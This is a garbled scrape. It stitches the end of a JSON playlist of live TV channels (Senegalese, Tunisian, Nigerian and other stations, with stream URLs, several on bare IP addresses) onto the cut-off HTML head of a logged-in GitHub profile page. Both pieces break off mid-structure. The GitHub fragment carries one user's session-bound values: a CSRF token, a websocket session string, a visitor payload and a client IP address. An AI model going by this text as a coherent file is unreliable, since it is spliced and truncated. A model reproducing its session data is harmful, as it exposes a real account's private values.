TV"},{"description":"Salt TV is a Christian television channel station from Uganda. Salt TV is based in Kampala. Matthew 5:13-16 (NKJV) Believers Are Salt and Light 13 You are the salt of the earth, but if the salt loses its flavor, how shall it be seasoned? It is then good for nothing but to be thrown out and trampled underfoot by men.","sources":["http://dcunilive38-lh.akamaihd.net/i/dclive_1@692676/index_150_av-p.m3u8"],"subtitle":"By Channel","thumb":"https://www.saltmedia.ug/images/NOV/SALT-TV.jpg","title":"Salt TV/ Uganda"},{"description":"TFM is Senegal’s privately-owned television channel.Owned by Senegalese musician Youssou N Dour, who owns a major media group in Dakar.","sources":["http://46.105.114.82/tfm_senegal.m3u8"],"subtitle":"By Channel","thumb":"https://3.bp.blogspot.com/-eyo4UyKqjlI/WWTobvXxLqI/AAAAAAAAB_g/BFn1KiR6vcYQMilgX4nWhGJHbHMEP_l0ACLcBGAs/s1600/tfm%2Bsenegal.png","title":"TFM TV/ Senegal"},{"description":"Africa tv1 est une télévision africaine qui travaille pour aider les peuples a se communiquer avec DIEU et surtout sensibiliser les Africains musulmans de partout.","sources":["http://africatv.live.net.sa:1935/live/africatv/playlist.m3u8"],"subtitle":"By Channel","thumb":"http://www.africagroup.tv/img/bgTV1.png","title":"Africa TV 1"},{"description":"Africa tv2 est une télévision africaine qui travaille pour aider les peuples a se communiquer avec DIEU et surtout sensibiliser les Africains musulmans de partout.","sources":["http://africatv.live.net.sa:1935/live/africatv2/playlist.m3u8"],"subtitle":"By Channel","thumb":"http://www.africagroup.tv/img/bgTV2.png","title":"Africa TV 2"},{"description":"Africa tv3 est une télévision africaine qui travaille pour aider les peuples a se communiquer avec DIEU et surtout sensibiliser les Africains de langue haoussa.","sources":["http://africatv.live.net.sa:1935/live/africatv3/playlist.m3u8"],"subtitle":"By Channel","thumb":"https://www.africagroup.tv/img/bgTV3.png","title":"Africa TV 3"},{"description":"La télévision nationale tunisienne 1 est la chaîne publique nationale tunisienne. Il a été officiellement lancé le 31 mai 1966, mais diffuse des programmes pilotes de manière irrégulière depuis octobre 1965, puis régulièrement depuis janvier 1966 et s’appelle la radio et la télévision tunisienne (ATT). Elle est devenue Channel 7 en 1992 et Tunisia 7 en 1997, mais elle est restée une filiale de la Société tunisienne de radio et de télévision jusqu’en 2008, a conservé le siège qu’elle partageait et la Société tunisienne de télévision avec ses chaînes de télévision nationales tunisiennes et La Tunisie 21 plus tard connue sous le nom de Télévision nationale tunisienne 2 est devenue son nouveau siège. Après le déclenchement de la révolution populaire tunisienne et la défection de zine El Abidine Ben Ali du pays, il est devenu Télévision nationale tunisienne.","sources":["http://54.36.122.126/tunisie1.m3u8"],"subtitle":"By Channel.","thumb":"https://www.histoiredesfax.com/wp-content/uploads/2015/11/Television-nationale-watania.jpg","title":"TUNISIA 1"},{"description":"Sahel TV est la plateforme unique, ouverte à la société civile, aux citoyens et à l'autorité locale de la ville et de sa région pour leur permettre de s’exprimer librement, proposer leurs idées et accéder à toutes les informations économiques, environnementale, culturelle, sportive. Vos idées et vos propositions sont les bienvenues.","sources":["http://142.44.214.231:1935/saheltv/myStream/playlist.m3u8"],"subtitle":"By Channel","thumb":"https://mobiletv.mobibase.com/html/logo/hd/channel_ld_747.png","title":"SAHEL TV / Tunisie"},{"description":"NIGERIA TELEVISION AUTORTEAutorité a commencé sous le nom de Western Nigerian Television Services (WNTV), qui a transmis ses premiers signaux au peuple nigérian et à toute l'Afrique le 31 octobre 1959. Au début de 1962, les trois gouvernements régionaux qui existaient au Nigéria avaient mis en place le Service de télévision nigérian (NTS). Télévision ont été créés et en 1976, l'Autorité de la télévision nigériane est née en tant que seule entité responsable de Diffusion télévisée au Nigéria.","sources":["http://54.38.93.93/nta.m3u8"],"subtitle":"By Channel","thumb":"https://static.squarespace.com/static/53d2a092e4b0125510bfe57d/53d2a2c6e4b018cd23e33d7b/53d2a2c6e4b018cd23e33f6f/1362042333867/1000w/nta.jpg","title":"NTA TV / Nigeria"},{"description":"ESPACE TV est une télévision basée à Conakry dans la commune de Matoto Kondeboungny au bord de l'autoroute Fidèle Castro (République de Guinée). La télé diffuse des informations du pays et du monde en temps réel. Des magazines axés sur les réalités des terroirs et des séries de divertissement. Détenue par le groupe Hadafo Médias, cette chaîne est la première du pays en terme d'audience; selon le rapport de Stat view international en 2019.","sources":["http://46.105.114.82/espacetv.m3u8"],"subtitle":"By Channel","thumb":"https://lh3.googleusercontent.com/ric-bS2gzvt-UyrhBIEdWENN9U-fL9Bnlhv12GEYSzSkZFWEIr7hc74k83kfLPqZDk0","title":"Espace TV / Guinée"},{"description":" Movies Now is an Indian high-definition television channel featuring Hollywood films. It was launched on 19 December 2010 with a picture quality of 1080i and 5.1 surround sound. The channel is owned by The Times Group. It has exclusive content licensing from films produced or distributed by MGM and has content licensing from Universal Studios, Walt Disney Studios, Marvel Studios, 20th Century Studios, Warner Bros and Paramount Pictures.","sources":["https://timesnow.airtel.tv/live/MN_pull/master.m3u8"],"subtitle":"By Channel","thumb":"https://upload.wikimedia.org/wikipedia/en/4/49/Movies_Now_logo.png","title":"Movies Now HD"},{"description":"Tunisie Immobilier TV, la première chaîne de l’immobilier en Tunisie Vous présente toutes les semaines, les actualités immobilières et économiques en Tunisie et dans le monde à travers des reportages.contact; E-mail:tunisieimmob@planet.tn/ Tel:(+216) 71 894500.","sources":["https://5ac31d8a4c9af.streamlock.net/tunimmob/myStream/chunklist.m3u8"],"subtitle":"By Channel","thumb":"https://i2.wp.com/www.tunisieimmobiliertv.net/wp-content/uploads/2016/10/fb.jpg?fit=1024%2C500&ssl=1","title":"Tunisie Immobilier TV"}]}]}
chikitang / A!DOCTYPE html> <html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark" data-a11y-animated-images="system"> <head> <meta charset="utf-8"> <link rel="dns-prefetch" href="https://github.githubassets.com"> <link rel="dns-prefetch" href="https://avatars.githubusercontent.com"> <link rel="dns-prefetch" href="https://github-cloud.s3.amazonaws.com"> <link rel="dns-prefetch" href="https://user-images.githubusercontent.com/"> <link rel="preconnect" href="https://github.githubassets.com" crossorigin> <link rel="preconnect" href="https://avatars.githubusercontent.com"> <link crossorigin="anonymous" media="all" integrity="sha512-ksfTgQOOnE+FFXf+yNfVjKSlEckJAdufFIYGK7ZjRhWcZgzAGcmZqqArTgMLpu90FwthqcCX4ldDgKXbmVMeuQ==" rel="stylesheet" href="https://github.githubassets.com/assets/light-92c7d381038e.css" /><link crossorigin="anonymous" media="all" integrity="sha512-1KkMNn8M/al/dtzBLupRwkIOgnA9MWkm8oxS+solP87jByEvY/g4BmoxLihRogKcX1obPnf4Yp7dI0ZTWO+ljg==" rel="stylesheet" href="https://github.githubassets.com/assets/dark-d4a90c367f0c.css" /><link data-color-theme="dark_dimmed" crossorigin="anonymous" media="all" integrity="sha512-cZa7DZqvMBwD236uzEunO/G1dvw8/QftyT2UtLWKQFEy0z0eq0R5WPwqVME+3NSZG1YaLJAaIqtU+m0zWf/6SQ==" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_dimmed-7196bb0d9aaf.css" /><link data-color-theme="dark_high_contrast" crossorigin="anonymous" media="all" integrity="sha512-WVoKqJ4y1nLsdNH4RkRT5qrM9+n9RFe1RHSiTnQkBf5TSZkJEc9GpLpTIS7T15EQaUQBJ8BwmKvwFPVqfpTEIQ==" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_high_contrast-595a0aa89e32.css" /><link data-color-theme="dark_colorblind" crossorigin="anonymous" media="all" integrity="sha512-XpAMBMSRZ6RTXgepS8LjKiOeNK3BilRbv8qEiA/M3m+Q4GoqxtHedOI5BAZRikCzfBL4KWYvVzYZSZ8Gp/UnUg==" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_colorblind-5e900c04c491.css" /><link data-color-theme="light_colorblind" crossorigin="anonymous" media="all" integrity="sha512-3HF2HZ4LgEIQm77yOzoeR20CX1n2cUQlcywscqF4s+5iplolajiHV7E5ranBwkX65jN9TNciHEVSYebQ+8xxEw==" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_colorblind-dc71761d9e0b.css" /><link data-color-theme="light_high_contrast" crossorigin="anonymous" media="all" integrity="sha512-+J8j3T0kbK9/sL3zbkCfPtgYcRD4qQfRbT6xnfOrOTjvz4zhr0M7AXPuE642PpaxGhHs1t77cTtieW9hI2K6Gw==" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_high_contrast-f89f23dd3d24.css" /><link data-color-theme="light_tritanopia" crossorigin="anonymous" media="all" integrity="sha512-AQeAx5wHQAXNf0DmkvVlHYwA3f6BkxunWTI0GGaRN57GqD+H9tW8RKIKlopLS0qGaC54seFsPc601GDlqIuuHg==" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_tritanopia-010780c79c07.css" /><link data-color-theme="dark_tritanopia" crossorigin="anonymous" media="all" integrity="sha512-+u5pmgAE0T03d/yI6Ha0NWwz6Pk0W6S6WEfIt8veDVdK8NTjcMbZmQB9XUCkDlrBoAKkABva8HuGJ+SzEpV1Uw==" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_tritanopia-faee699a0004.css" /> <link crossorigin="anonymous" media="all" integrity="sha512-EAhBCLIJ/pXHG3Y6yQhs9s53SHV80sjJ+yCwlQtfv7LaVkD+VoEuZBZ5betQJFUNj/5qBSfZk5GFtazEDzWLAg==" rel="stylesheet" href="https://github.githubassets.com/assets/primer-10084108b209.css" /> <link crossorigin="anonymous" media="all" integrity="sha512-j4LlGsvrPJxvY8+OWTjZfxsE5dNUiTsSjDrRiYJN24hZSD0fRrKZKtHnFIt1HSPGvNd1XAXX4UWQu+7n30g2KQ==" rel="stylesheet" href="https://github.githubassets.com/assets/global-8f82e51acbeb.css" /> <link crossorigin="anonymous" media="all" integrity="sha512-ws/OpUoggF9K9ooMit55m3zLZc0tylad06U0PD2d0mPaGrdyGa+YTIAGxvVPrke4PWfw/1hdyplewI0dG5RMqw==" rel="stylesheet" href="https://github.githubassets.com/assets/github-c2cfcea54a20.css" /> <link crossorigin="anonymous" media="all" integrity="sha512-EU4iyx/yvfUFbgkpn4fpfcGLGdCO/MAsSFcvCXZ2Z2EW37nQnDHPgt/cXbfA0Tro59XCXEOAzXxFKLLkIuetnw==" rel="stylesheet" href="https://github.githubassets.com/assets/profile-114e22cb1ff2.css" /> <script crossorigin="anonymous" defer="defer" type="application/javascript" integrity="sha512-/QgkqjzVefOR3Tj2b+frbSHSVAOEXToMLNi27AqI0et2R/r9L6h5gKl9tEbPuN2sV41z3bAkC0YbPhQSDjak+A==" src="https://github.githubassets.com/assets/runtime-fd0824aa3cd5.js"></script> <script crossorigin="anonymous" defer="defer" type="application/javascript" integrity="sha512-X+8lM1ka/+ZD419IfxRmavutulfxSofkt+qmxoFdfa0Zp6fBjTUoNaJeZfEK1YdE6ibpcZz/HaOVu2FnHGJ7DA==" src="https://github.githubassets.com/assets/environment-5fef2533591a.js"></script> <script crossorigin="anonymous" defer="defer" type="application/javascript" integrity="sha512-io+1MvgXPXTw8Kp4eOdNMJl8uGASuw8VfTY5VeIFETaAknimWi8GoxggMEeQ6mq0de4Dest4iIJ/9gUbCo0hgw==" src="https://github.githubassets.com/assets/vendors-node_modules_selector-observer_dist_index_esm_js-8a8fb532f817.js"></script> <script crossorigin="anonymous" defer="defer" type="application/javascript" integrity="sha512-Es25N4GyPa8Yfp5wpahoe5b2fyPtkRMyR6mKIXyCJC0ocqQazeWvxhGZhx3StRxOfqDfHDR5SS35u/R3Wux6Cg==" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe-12cdb93781b2.js"></script> <script crossorigin="anonymous" defer="defer" type="application/javascript" integrity="sha512-lmiecOIgf+hakg5oKMNM7grVhEDyPoIrT39Px448JJH5PSAaK21PH0Twgyz5O5oi8+dnlLr3Jt8bBCtAcpNdRw==" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-c7e9ed-96689e70e220.js"></script> <script crossorigin="anonymous" defer="defer" type="application/javascript" integrity="sha512-y67eNkVaNK4RguUGcHOvIbHFlgf1Qje+LDdjVw2eFuuvBOqta2GePz/CwoLIR/PJhhRAj5RPGxCWoomnimSw6w==" src="https://github.githubassets.com/assets/vendors-node_modules_github_catalyst_lib_index_js-node_modules_github_time-elements_dist_index_js-cbaede36455a.js"></script> <script crossorigin="anonymous" defer="defer" type="application/javascript" integrity="sha512-6ehrOOu5AOQD8/Lw6TgTsdkj9odsrpi0xWo0vkH3wBR3vIw/Bj/Rxw9wZMfw2qVzdqqF/pCiaJ5f0A/P6HtGrw==" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_primer_view-co-52e104-e9e86b38ebb9.js"></script> <script crossorigin="anonymous" defer="defer" type="application/javascript" integrity="sha512-l//8hwOiwPAmBg0NwsWUYovdQ7/r9kPHiD9/LL4fD3M7El8gbgaOYU5+o6cYLB6puSfOTxyN9M6fE38HSDr2Bw==" src="https://github.githubassets.com/assets/github-elements-97fffc8703a2.js"></script> <script crossorigin="anonymous" defer="defer" type="application/javascript" integrity="sha512-RVfrK7GqzKgqgrdk4OZy+0LLxAMJ1odMQC1/Qt7SpwSHjE9s4R0/09fu5QvzcQ6XdNZMjJ1Wy8Cr6wL3Q+HCcQ==" src="https://github.githubassets.com/assets/element-registry-4557eb2bb1aa.js"></script> <script crossorigin="anonymous" defer="defer" type="application/javascript" integrity="sha512-uo73yUZcm4EicwjSbfxFZcKfjWniOxhLBp+q1n7IFRfutFM6/lzbQMgD0Xrxp7QD1HzqdvrV8UclPhi3mEOyzQ==" src="https://github.githubassets.com/assets/vendors-node_modules_lit-html_lit-html_js-ba8ef7c9465c.js"></script> <script crossorigin="anonymous" defer="defer" type="application/javascript" integrity="sha512-LWSGAMIPWi+15W2gBjmxbtVqU0DamkrNOQylAjPL8509iKnuWgSLdjylDv3WWm/9p6h2U/D//3i6BiiGFZPXJA==" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_github_catalyst_lib_index_-87b1b3-2d648600c20f.js"></script> <script crossorigin="anonymous" defer="defer" type="application/javascript" integrity="sha512-0r1nf/rfPz54kyePp4f63bcPxkFo7wyaUZJD/SwIVDK3q0WzurAK9ydOm88tzKtPJm8xWI0Vo25NyCfecwxJ9g==" src="https://github.githubassets.com/assets/vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_hotkey_dist_index-9f48bd-d2bd677ffadf.js"></script> <script crossorigin="anonymous" defer="defer" type="application/javascript" integrity="sha512-VK56d0N1hPZ20mOzPoy84zlTGCjGbKKmVvfjoyDqSF+VxTD4f6X8QDs2RgG1R1cdBmsCiea+ZxP6ukV3tHlD+Q==" src="https://github.githubassets.com/assets/vendors-node_modules_github_paste-markdown_dist_index_esm_js-node_modules_github_quote-select-df2537-54ae7a774375.js"></script> <script crossorigin="anonymous" defer="defer" type="application/javascript" integrity="sha512-318SWYQMEUmWdOuBzC1KdeVyyq5RDCiMNGP7Jh9s/Oz68Yy8e94t8qKxiCnfFKnzfpN3MxrATi7jCQyDv6jh0w==" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_pjax_ts-df5f1259840c.js"></script> <script crossorigin="anonymous" defer="defer" type="application/javascript" integrity="sha512-2hsYB2KHyayxUJJxJGhXeTeTZZG2c7lzRtO0uB1txmpc7rfvIt4mf0iossT0MHIHknYlaslgi98jmmlVXcXaZQ==" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_be-af52ef-da1b18076287.js"></script> <script crossorigin="anonymous" defer="defer" type="application/javascript" integrity="sha512-mszhDznUQJHnUG/R5PW8SVIpe08ysmzHfMNnUF9Nu2DlTQ2EI+vzUxDTJ1cUGPr1nRRvsed9bKe1IdZI+1Q4Rg==" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_details_ts-app_assets_modules_github_behaviors_include-fr-34e1f7-9acce10f39d4.js"></script> <script crossorigin="anonymous" defer="defer" type="application/javascript" integrity="sha512-w/t2D/KwutVIcNp5IDznla0td11er/0FLWMQBuZ4+ec53IQDBc4+CztZqlCj/RZ8XDkk/eiECEwiUjXv5UAJnQ==" src="https://github.githubassets.com/assets/behaviors-c3fb760ff2b0.js"></script> <script crossorigin="anonymous" defer="defer" type="application/javascript" integrity="sha512-O4QCEHjN5g9SG+Bqu36E7RCxy4hi2w3nyDWVsHwc/hUgAMsYntgibQcLNqSrar4T78Dnj0NZgM/C4FhFt8DIag==" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-6e358f-3b84021078cd.js"></script> <script crossorigin="anonymous" defer="defer" type="application/javascript" integrity="sha512-tuRHxLY6eU4xuxKD8rm7GxWa0B337+gV5cSnivbY1FPmUo4zRUBCbKqs6kvuJsuGj2dg1uz4ajSLTrHDFeADUw==" src="https://github.githubassets.com/assets/notifications-global-b6e447c4b63a.js"></script> <script crossorigin="anonymous" defer="defer" type="application/javascript" integrity="sha512-QdQXem5u6Zn5fejgHuEVa07Zdffi7rtk2HHG8DZHegrkzMgrrdC5d5spRsxjV/xGF3KSyl3B8FI7xXu77LG2TQ==" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-1424532-41d4177a6e6e.js"></script> <script crossorigin="anonymous" defer="defer" type="application/javascript" integrity="sha512-fkqJogEq3qR42gMZhv5UupQvBdhPiQIIBomJsm5HYJ6ZzfJjDFdKWsWso3u5eKdEz6b8hhXFjUwnLnK6SkJdhA==" src="https://github.githubassets.com/assets/profile-7e4a89a2012a.js"></script> <title>Your Repositories</title> <meta name="request-id" content="FD00:0DFC:1DF0AC7:313D6B2:62A02226" data-pjax-transient="true" /><meta name="html-safe-nonce" content="980ec10d2da5b506cd46be36dd6e013e8bada887c7553a22c701573bbe482ab0" data-pjax-transient="true" /><meta name="visitor-payload" content="eyJyZWZlcnJlciI6Imh0dHBzOi8vZ2l0aHViLmNvbS9leHBsb3JlIiwicmVxdWVzdF9pZCI6IkZEMDA6MERGQzoxREYwQUM3OjMxM0Q2QjI6NjJBMDIyMjYiLCJ2aXNpdG9yX2lkIjoiNzQ5MzY1NDMzNjA2MzQxMjkzMSIsInJlZ2lvbl9lZGdlIjoiaWFkIiwicmVnaW9uX3JlbmRlciI6ImlhZCJ9" data-pjax-transient="true" /><meta name="visitor-hmac" content="421e7a5a14726f1086d7a9de5370e75ce73e1595c8567ceca4fe9616e47623d9" data-pjax-transient="true" /> <meta name="github-keyboard-shortcuts" content="" data-pjax-transient="true" /> <meta name="selected-link" value="/chikitang" data-pjax-transient> <meta name="google-site-verification" content="c1kuD-K2HIVF635lypcsWPoD4kilo5-jA_wBFyT4uMY"> <meta name="google-site-verification" content="KT5gs8h0wvaagLKAVWq8bbeNwnZZK1r1XQysX3xurLU"> <meta name="google-site-verification" content="ZzhVyEFwb7w3e0-uOTltm8Jsck2F5StVihD0exw2fsA"> <meta name="google-site-verification" content="GXs5KoUUkNCoaAZn7wPN-t01Pywp9M3sEjnt_3_ZWPc"> <meta name="octolytics-url" content="https://collector.github.com/github/collect" /><meta name="octolytics-actor-id" content="107093285" /><meta name="octolytics-actor-login" content="chikitang" /><meta name="octolytics-actor-hash" content="1bbae79ef5b27d38ae2058bbe0b8e84e42ca017579fe6b91fb76d14b6a316195" /> <meta name="user-login" content="chikitang"> <meta name="viewport" content="width=device-width"> <meta name="description" content="chikitang has one repository available. Follow their code on GitHub."> <link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="GitHub"> <link rel="fluid-icon" href="https://github.com/fluidicon.png" title="GitHub"> <meta property="fb:app_id" content="1401488693436528"> <meta name="apple-itunes-app" content="app-id=1477376905" /> <meta name="twitter:image:src" content="https://avatars.githubusercontent.com/u/107093285?v=4?s=400" /><meta name="twitter:site" content="@github" /><meta name="twitter:card" content="summary" /><meta name="twitter:title" content="chikitang - Repositories" /><meta name="twitter:description" content="chikitang has one repository available. Follow their code on GitHub." /> <meta property="og:image" content="https://avatars.githubusercontent.com/u/107093285?v=4?s=400" /><meta property="og:image:alt" content="chikitang has one repository available. Follow their code on GitHub." /><meta property="og:site_name" content="GitHub" /><meta property="og:type" content="profile" /><meta property="og:title" content="chikitang - Repositories" /><meta property="og:url" content="https://github.com/chikitang" /><meta property="og:description" content="chikitang has one repository available. Follow their code on GitHub." /><meta property="profile:username" content="chikitang" /> <link rel="assets" href="https://github.githubassets.com/"> <link rel="shared-web-socket" href="wss://alive.github.com/_sockets/u/107093285/ws?session=eyJ2IjoiVjMiLCJ1IjoxMDcwOTMyODUsInMiOjg5NTc1NzU0OCwiYyI6MTYzNjI1Mjg2NywidCI6MTY1NDY2MTY3M30=--c25c69ac641d7bef477abc2e101060da9d58d110fdab2b83c67104ea57cb74d1" data-refresh-url="/_alive" data-session-id="0f954fa662a2d554f181d0867897a8c903cfbb09b242250a287b6117e8fa2281"> <link rel="shared-web-socket-src" href="/assets-cdn/worker/socket-worker-b98ccfd9236e.js"> <link rel="sudo-modal" href="/sessions/sudo_modal"> <meta name="hostname" content="github.com"> <meta name="keyboard-shortcuts-preference" content="all"> <script type="application/json" id="memex_keyboard_shortcuts_preference">"all"</script> <meta name="expected-hostname" content="github.com"> <meta name="js-proxy-site-detection-payload" content="ZTEwZDA3YzMzN2IyY2I2ZjU1ZWFkZWNkYmNkM2RlNjAyNWQwYzUwODYwOGU5ODU2MDBjZDYzZjI4OGQ5OWQyOHx7InJlbW90ZV9hZGRyZXNzIjoiNzYuMTM1Ljk2LjIwNSIsInJlcXVlc3RfaWQiOiJGRDAwOjBERkM6MURGMEFDNzozMTNENkIyOjYyQTAyMjI2IiwidGltZXN0YW1wIjoxNjU0NjYxNjczLCJob3N0IjoiZ2l0aHViLmNvbSJ9"> <meta name="enabled-features" content="ACTIONS_CALLABLE_WORKFLOWS,PRESENCE_IDLE,RELEASE_PREV_TAG_PICKER"> <meta http-equiv="x-pjax-version" content="a37df167d895af7f9c4d1b90e97a54af1d17d291209210e78f815dbbd9a85bbc" data-turbo-track="reload"> <meta http-equiv="x-pjax-csp-version" content="485d6a5ccbb1eeae9c86b616b4870b531f6f458e8bd5c309c40280dc4f51defb" data-turbo-track="reload"> <meta http-equiv="x-pjax-css-version" content="560bbf933d6879732c126fa7af06481a25d36e7da91d312b7f44915e69fcdbb9" data-turbo-track="reload"> <meta http-equiv="x-pjax-js-version" content="3c347e3ecd4172f21f40b5f945958e9a8b15c3b5c962803de065de8ef0b29900" data-turbo-track="reload"> <meta name="turbo-cache-control" content="no-preview"></meta> <meta name="octolytics-dimension-user_id" content="107093285" /><meta name="octolytics-dimension-user_login" content="chikitang" /> <meta name="browser-stats-url" content="https://api.github.com/_private/browser/stats"> <meta name="browser-errors-url" content="https://api.github.com/_private/browser/errors"> <meta name="browser-optimizely-client-errors-url" content="https://api.github.com/_private/browser/optimizely_client/errors"> <link rel="mask-icon" href="https://github.githubassets.com/pinned-octocat.svg" color="#000000"> <link rel="alternate icon" class="js-site-favicon" type="image/png" href="https://github.githubassets.com/favicons/favicon.png"> <link rel="icon" class="js-site-favicon" type="image/svg+xml" href="https://github.githubassets.com/favicons/favicon.svg"> <meta name="theme-color" content="#1e2327"> <meta name="color-scheme" content="light dark" /> <link rel="manifest" href="/manifest.json" crossOrigin="use-credentials"> </head> <body class="logged-in env-production page-responsive page-profile mine" style="word-wrap: break-word;"> <div class="position-relative js-header-wrapper "> <a href="#start-of-content" class="p-3 color-bg-accent-emphasis color-fg-on-emphasis show-on-focus js-skip-to-content">Skip to content</a> <span data-view-component="true" class="progress-pjax-loader js-pjax-loader-bar Progress position-fixed width-full"> <span style="width: 0%;" data-view-component="true" class="Progress-item progress-pjax-loader-bar left-0 top-0 color-bg-accent-emphasis"></span> </span> <script crossorigin="anonymous" defer="defer" type="application/javascript" integrity="sha512-vq9xa9mXhnKoPKegD98xDdz3z2QGmpBBTgEdXLjXQWpAHaNrJgMoKO/tWwQg3XrNHOMwbWccPo2ej0RASJ32Jw==" src="https://github.githubassets.com/assets/vendors-node_modules_github_mini-throttle_dist_decorators_js-node_modules_github_catalyst_lib-098f88-beaf716bd997.js"></script> <script crossorigin="anonymous" defer="defer" type="application/javascript" integrity="sha512-SqxGVVy+lvF/R0gsWdxjPTIX6BkspUwgKC7GkhrrpHDvTiiYveTazaMKVQ4ZsbyB8PpALQMJVu5FThgLLEa/qQ==" src="https://github.githubassets.com/assets/vendors-node_modules_github_clipboard-copy-element_dist_index_esm_js-node_modules_delegated-e-a39d96-4aac46555cbe.js"></script> <script crossorigin="anonymous" defer="defer" type="application/javascript" integrity="sha512-+RY85fUZaREgYAhJOwiMFuEzzJ0MYIJJ/e3HrBLNx5mbTvOTWawq9+/XBdBy/omg01kYOA4my0k99ImePtihQQ==" src="https://github.githubassets.com/assets/app_assets_modules_github_command-palette_items_help-item_ts-app_assets_modules_github_comman-48ad9d-f9163ce5f519.js"></script> <script crossorigin="anonymous" defer="defer" type="application/javascript" integrity="sha512-MZKd5uKV0ZulPULi4Ci9ya+diAKnUgu9G0+cTix+XVo6BGYYtTfTaAmIKFNxFkAQKcOCHMJU7itIuu409PIlNg==" src="https://github.githubassets.com/assets/command-palette-31929de6e295.js"></script> <header class="Header js-details-container Details px-3 px-md-4 px-lg-5 flex-wrap flex-md-nowrap" role="banner" > <div class="Header-item mt-n1 mb-n1 d-none d-md-flex"> <a class="Header-link " href="https://github.com/" data-hotkey="g d" aria-label="Homepage " data-turbo="false" data-analytics-event="{"category":"Header","action":"go to dashboard","label":"icon:logo"}" > <svg height="32" aria-hidden="true" viewBox="0 0 16 16" version="1.1" width="32" data-view-component="true" class="octicon octicon-mark-github v-align-middle"> <path fill-rule="evenodd" d="M8 0C3.58 0 0 3.58 0 8c0 3.54 2.29 6.53 5.47 7.59.4.07.55-.17.55-.38 0-.19-.01-.82-.01-1.49-2.01.37-2.53-.49-2.69-.94-.09-.23-.48-.94-.82-1.13-.28-.15-.68-.52-.01-.53.63-.01 1.08.58 1.23.82.72 1.21 1.87.87 2.33.66.07-.52.28-.87.51-1.07-1.78-.2-3.64-.89-3.64-3.95 0-.87.31-1.59.82-2.15-.08-.2-.36-1.02.08-2.12 0 0 .67-.21 2.2.82.64-.18 1.32-.27 2-.27.68 0 1.36.09 2 .27 1.53-1.04 2.2-.82 2.2-.82.44 1.1.16 1.92.08 2.12.51.56.82 1.27.82 2.15 0 3.07-1.87 3.75-3.65 3.95.29.25.54.73.54 1.48 0 1.07-.01 1.93-.01 2.2 0 .21.15.46.55.38A8.013 8.013 0 0016 8c0-4.42-3.58-8-8-8z"></path> </svg> </a> </div> <div class="Header-item d-md-none"> <button aria-label="Toggle navigation" aria-expanded="false" type="button" data-view-component="true" class="Header-link js-details-target btn-link"> <svg aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon octicon-three-bars"> <path fill-rule="evenodd" d="M1 2.75A.75.75 0 011.75 2h12.5a.75.75 0 110 1.5H1.75A.75.75 0 011 2.75zm0 5A.75.75 0 011.75 7h12.5a.75.75 0 110 1.5H1.75A.75.75 0 011 7.75zM1.75 12a.75.75 0 100 1.5h12.5a.75.75 0 100-1.5H1.75z"></path> </svg> </button> </div> <div class="Header-item Header-item--full flex-column flex-md-row width-full flex-order-2 flex-md-order-none mr-0 mt-3 mt-md-0 Details-content--hidden-not-important d-md-flex"> <div class="header-search flex-auto js-site-search position-relative flex-self-stretch flex-md-self-auto mb-3 mb-md-0 mr-0 mr-md-3 scoped-search site-scoped-search js-jump-to" > <div class="position-relative"> <!-- '"` --><!-- </textarea></xmp> --></option></form><form class="js-site-search-form" role="search" aria-label="Site" data-scope-type="User" data-scope-id="107093285" data-scoped-search-url="/users/chikitang/search" data-unscoped-search-url="/search" data-turbo="false" action="/users/chikitang/search" accept-charset="UTF-8" method="get"> <label class="form-control input-sm header-search-wrapper p-0 js-chromeless-input-container header-search-wrapper-jump-to position-relative d-flex flex-justify-between flex-items-center"> <input type="text" class="form-control input-sm header-search-input jump-to-field js-jump-to-field js-site-search-focus js-site-search-field is-clearable" data-hotkey=s,/ name="q" data-test-selector="nav-search-input" placeholder="Search or jump to…" data-unscoped-placeholder="Search or jump to…" data-scoped-placeholder="Search or jump to…" autocapitalize="off" role="combobox" aria-haspopup="listbox" aria-expanded="false" aria-autocomplete="list" aria-controls="jump-to-results" aria-label="Search or jump to…" data-jump-to-suggestions-path="/_graphql/GetSuggestedNavigationDestinations" spellcheck="false" autocomplete="off" > <input type="hidden" value="onaOjrBo6ohITGCajPS3asceXniJrPVtVg0W3PjGOVqghJTYE-qvcN961YI7OuNKFtGNfvjgTbQtKVQNyp1O1Q" data-csrf="true" class="js-data-jump-to-suggestions-path-csrf" /> <input type="hidden" class="js-site-search-type-field" name="type" > <svg xmlns="http://www.w3.org/2000/svg" width="22" height="20" aria-hidden="true" class="mr-1 header-search-key-slash"><path fill="none" stroke="#979A9C" opacity=".4" d="M3.5.5h12c1.7 0 3 1.3 3 3v13c0 1.7-1.3 3-3 3h-12c-1.7 0-3-1.3-3-3v-13c0-1.7 1.3-3 3-3z"></path><path fill="#979A9C" d="M11.8 6L8 15.1h-.9L10.8 6h1z"></path></svg> <div class="Box position-absolute overflow-hidden d-none jump-to-suggestions js-jump-to-suggestions-container"> <ul class="d-none js-jump-to-suggestions-template-container"> <li class="d-flex flex-justify-start flex-items-center p-0 f5 navigation-item js-navigation-item js-jump-to-suggestion" role="option"> <a tabindex="-1" class="no-underline d-flex flex-auto flex-items-center jump-to-suggestions-path js-jump-to-suggestion-path js-navigation-open 